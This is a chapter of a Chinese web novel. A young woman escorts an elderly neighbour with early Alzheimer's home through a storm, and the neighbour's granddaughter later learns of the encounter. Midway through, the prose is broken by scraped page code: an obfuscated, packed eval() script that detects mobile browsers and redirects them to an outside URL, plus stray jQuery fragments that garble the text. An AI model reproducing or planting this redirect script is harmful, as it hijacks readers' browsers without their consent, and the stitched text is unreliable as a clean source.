夏末，气温闷热。


    傍晚光线阴沉，浓厚的云覆在天幕上，遮住白亮的光。


    从便利店员手里接过购物袋，唐玥轻声道谢。才推开玻璃门，便觉得湿热的空气迎面扑来，将原本覆在身上的冷气驱散得无影无踪。


    她舒出一口气，刚往前走出几步路，看见柏油路面突兀落下几滴深色的印迹，随后肩头也跌落湿漉漉的雨点。


    夏日的雨来得气势汹急，砸落地面的声响接二连三。


    唐玥仰头看阴沉下来的天色，转身回到便利店又买了把伞，没急着离开。只是坐在窗边的高脚椅上，明柔的顶光笼落，有一搭没一搭地听着歌。


    店里有别的顾客在，见到雨势不小，那妇人顺势和店员攀谈闲聊。


    唐玥耳上挂着蓝牙耳机，一副不欲与人搭话的模样。


    等雨势稍小一些，已经是将近二十分钟后的事情。她摘下耳机，推门离开。


    拐过弯，路过小区的凉亭。平日见惯了的设施，瓦色在阴沉的雨幕里并不显眼。


    雨珠顺着飞檐串连成线，落成细密的水帘。


    唐玥无意间扫了一眼，瞥见亭中的石桌旁坐着个佝偻的影绰人影。


    她下意识脚步微顿，远远地打量几眼，又靠近了些，才看出是位头发花白的阿婆。


    唐玥上了台阶，雨水溅开密集的水花，一阶阶蔓延下来，沿着鞋边淌过去。


    “阿婆，您家住哪，我送您回去吧？”


    她指了指自己的伞，神色有些拘谨，犹豫着问出口。


    老人家的肩上和裤脚都能看出淋湿的痕迹，应该是刚才被突然降至的雨困在半路上，走了一段来亭子里躲雨。


    雷声隐隐，将唐玥本就轻细的声音遮了大半。


    季瑛笑眯眯地看着面前眉眼清秀的小姑娘，脸上的皱纹柔和，“你是哪家的小囡，样子乖得很……”


    “婆婆，您家住哪呀？”


    见面前的阿婆好像没听见，唐玥又靠近她一步，音量提高一些。


    被唐玥这么一问，季瑛微愣。她的神色恍了恍，回忆着嘟哝道：“在二十……八栋，一单元。”


    季瑛又摸出挂在脖颈上的钥匙，上头贴了标签。她笑呵呵地抚着标签上的字迹，眯着眼凑近看：“是嘞，没记错。”


    唐玥没多想，只当老人家记性不好，却觉得巧得很。她指了指手中滴着水的伞，开口道，“刚好我也住二十八栋，隔壁二单元的。阿婆，我顺道送您回去吧？”


    老人家的腿脚尚可，除了下台阶时有些颤巍，唐玥小心扶着人一步步挪下来，到了路面上便稳当很多。


    唐玥一手撑着伞，往季瑛那侧倾去，另一只手不忘搀着身旁人的胳膊。


    她不是个爱说话的性子，却架不住季瑛实在健谈。


    不过刚走出一百米，便自报了家门名姓，也得知阿婆姓季，腼腆地唤了句“季阿婆”。


    倒不是她容易轻信别人。


    唐玥向来心思细腻，对旁人的情绪感知敏锐。老人家面容和蔼慈祥，还时不时要她将伞多顾着自己那边，实在看不出半分恶意。


    而且……自己的阿婆若是还在世，想来和老人家会是差不多的年纪。


    密集的雨滴打在伞沿上，溅出哗哗的声响，将交谈声掩在伞下。路面上偶尔有积作一片的浅水洼，在暗沉天色里折出的光亮格外显眼。


    突然一道闪电晃过，紧接着几秒便响起炸雷。


    唐玥脚下一顿，下意识攥紧季瑛的衣袖。


    老人家似乎是察觉到了，满是褶皱的手掌轻拍她的胳膊，掌心温热，拂开雨水落上来的湿凉触感。


    同样的雷雨天与傍晚。


    她垂下眼睫，步子有些惶然。


    “阿婆……”


    脱口而出的一声，很轻，却被季瑛恰好听进。


    年岁大了，天色又暗，季瑛已经有些瞧不清东西。只听出小娃娃语气里的无措，她忙应着，“阿婆在，小囡不怕。”


    下一秒，季瑛的衣袖被攥得更紧。


    唐玥闷头赶路，没再说话，只小心搀着人，挨着绿化带一步步走得稳当。


    偶尔有汽车远光灯照过来，或是喇叭声响起，唐玥立刻抬头往四周张望，唇角紧抿着。


    好在二十八栋并不远。


    赶在雨势再度转大时，两人跨进一单元的门厅。


    得了季瑛的道谢，唐玥摇摇头说不客气，正要转身离开，却被拉住。


    “刚淋了雨，阿婆给你煮点姜汤，喝了再回去。”


    门厅里开着灯，光线柔和。


    神使鬼差地，唐玥点了点头。


    直至坐进季瑛家的客厅里，唐玥拘谨地绷直脊背，在沙发上捧着碗小口啜饮。


    她平时不爱吃红糖，更不爱姜的味道。却被从掌心一路蔓延到心口的烫热，觉出几分陌生的熨帖。


    到底是在别人家，唐玥没多打量，眼神只落在手中的小碗上，挪都未挪。


    季瑛极热情，一会拿了些橘子苹果来，一会又从橱柜里找出老人常吃的高钙饼干，一并推到唐玥面前，招呼她不要拘束，就当是自己家里。


    唐玥抿了抿唇，轻声道谢，赶在季瑛招呼她留下来吃晚饭的当口忙提出告辞。


    “回家？”


    季瑛起先有些没反应过来，眯着眼顿了几秒，皱纹堆在眼角，这才恍然道：“是要回，不然家里人要担心了，那我送你回去。”


    又是好一番推辞。


    唐玥站在电梯里，朝站在门旁的季瑛颔首，“季阿婆再见。”


    电梯门缓缓合上，失重感传来。


    视线落在数字跃迁的面板上，唐玥手中还拎着方才从便利店买回来的早餐奶，以及季瑛非要装进去的高钙饼干，蓝红色的包装袋分外显眼，鼓鼓囊囊的塞了满袋。


    “瘦条条的，多吃一点咯。”刚刚临走时，季瑛给她装饼干，口中一边絮叨着。


    很熟悉的话，她已经很多年不曾听过了。


    “阿婆，以后我也背着你走。”


    记忆早都模糊。只记得雨声淅沥，她伏在并不宽厚的背上，吃力地握着伞柄，不让它被风掀翻。


    “那我们玥玥要多吃一点咯，以后长高高的，才能背得动阿婆。”


    ……


    等电梯降至一楼，唐玥仍没回过神来。


    她拎的袋子体积不小，手腕往身侧偏的慢了一步，正好撞在进电梯的女人小腿上，塑料袋发出窸窸窣窣的响动。


    “抱歉。”


    唐玥忙开口，抬头看向对方。


    女人刚从外面回来，手中的长柄伞顺着重力滴下水珠，垂在肩头的发梢有些濡湿，想来雨势不小。


    季瑾年的视线在她脸上停留一秒，摇了摇头，“没关系。”


    电梯里只剩她一个人。季瑾年没在意这段小插曲，按下按钮，那道纤细的身影也拐过弯，消失在余光里。


    “阿婆，你下午出门了？”


    季瑾年将伞收好，搁进伞篓沥水时视线一偏，注意到玄关处地毯上有濡湿的痕迹，“出门时记得带伞了吗？淋着没有？”


    没人应声，只有厨房传来滋啦一声油响，季瑾年循着声音走过去。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124149|164312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    油刚倒进锅里。


    季瑛握着锅铲，笑呵呵的看向她，“年年回来了，今天煮你喜欢的油焖虾吃。”


    “阿婆，你忘带伞了？”季瑾年蹙着眉，见季瑛肩上的衣服面料有些深色的水迹，“快去换身衣服。”


    手里的锅铲被孙女哄着夺走，季瑛被推到厨房外，神色也不恼。


    “真的没淋着多少，我还喝了姜汤嘞。”一副老小孩似的语气，好在听得进劝。


    等季瑛换了身干燥的衣服，又回到锅灶前将季瑾年替下来，“阿婆来做，你先去歇着，一早出门开会辛苦了。”


    季瑾年刚从一中开完会回来。


    今年六月她从C大博士毕业，考进了市一中当美术老师，上个月刚入职。


    公立高中并不以艺术为主课，但身为新老师，仍然有不少要学习的地方。头抬了又低，听了一上午的校领导发言，又记了整个下午的笔记，季瑾年确实有些肩酸背痛。


    看见茶几上摆着水果饼干，季瑾年没多想，只以为是季瑛的哪位老朋友过来串门。


    等饭菜上桌，季瑛捧着汤碗，兴致勃勃讲起今天下午遇到的小姑娘。


    “出门遛弯那会突然下的雨，在亭子里挡了会，刚好遇上隔壁楼的乖囡送我回来。喊她上来喝了姜茶祛寒，就是小囡急着回家，没留下来吃饭。”


    季瑾年剥了只虾放进季瑛碗里，听她翻来覆去地回忆着，语序有些颠倒错乱。


    “叫什么……玥来着？”


    季瑛顿着语气，眉间不自觉皱成川字。


    实在是想不起来，她也不去纠结了，“你回来那会，小姑娘前脚才刚走，长得细条条的，模样乖得很。”


    季瑾年问了时间，原来是刚刚那个女孩。她了然地点点头，“在电梯里碰上了。”


    毕竟是学美术的，记下旁人的样貌身段轻而易举。季瑾年只是瞥了一眼，却也记了个大致长相。确实乖，也很面善。


    雨势一直没降下去多少，那女孩手里的伞看上去并不大，很寻常的单人款式，看来是多遮在阿婆身上了。


    季瑾年低了低语气，“出门前我还说了今天要下雨，伞以后都摆在门边的柜子上，您出门可别再忘了。”


    “阿婆年纪大了，好些事转头就记不得咯。”季瑛摆摆手。


    季瑾年没接话，闷声又夹了一筷子蔬菜给季瑛，这才说，“我下次在门上留个字条。”


    半年前，季瑛查出阿尔兹海默症早期。


    全家人都知道，只道上了年纪记性差些是常有的事，安慰她坚持治疗就好，但季瑛的记性显然在一日日差下去。


    妈妈常年在外，小姨一家又去了国外发展，身边没有能照顾她的小辈。


    季瑾年放心不下，打听过病人最好生活在熟悉的环境里，便婉拒了留校任教的邀请，选择回W市当老师。


    起初季瑛还劝，凭季瑾年的学历，该去更好的城市发展才对。季瑾年只说不适应外省气候，想和阿婆一起生活，也喜欢教书。


    知道季瑾年性子倔，木已成舟，季瑛也没法子。又被孙女抱着胳膊哄得乐呵呵的，她在老同事们的圈子里将消息炫耀了个遍。


    季瑛教了几十年历史，虽说不上桃李满天下，却也有不少学生几年十几年后还记得来探望。如今孙女主动继承她的衣钵，她自然高兴。


    吃过饭，季瑾年起身收拾碗筷。


    沾了油污的餐盘堆在水池里，水流冲刷而下，淌出一道光洁的痕迹。


    她抬眼看着窗外。


    楼栋里参差的光亮星星点点，在雨幕里有些模糊。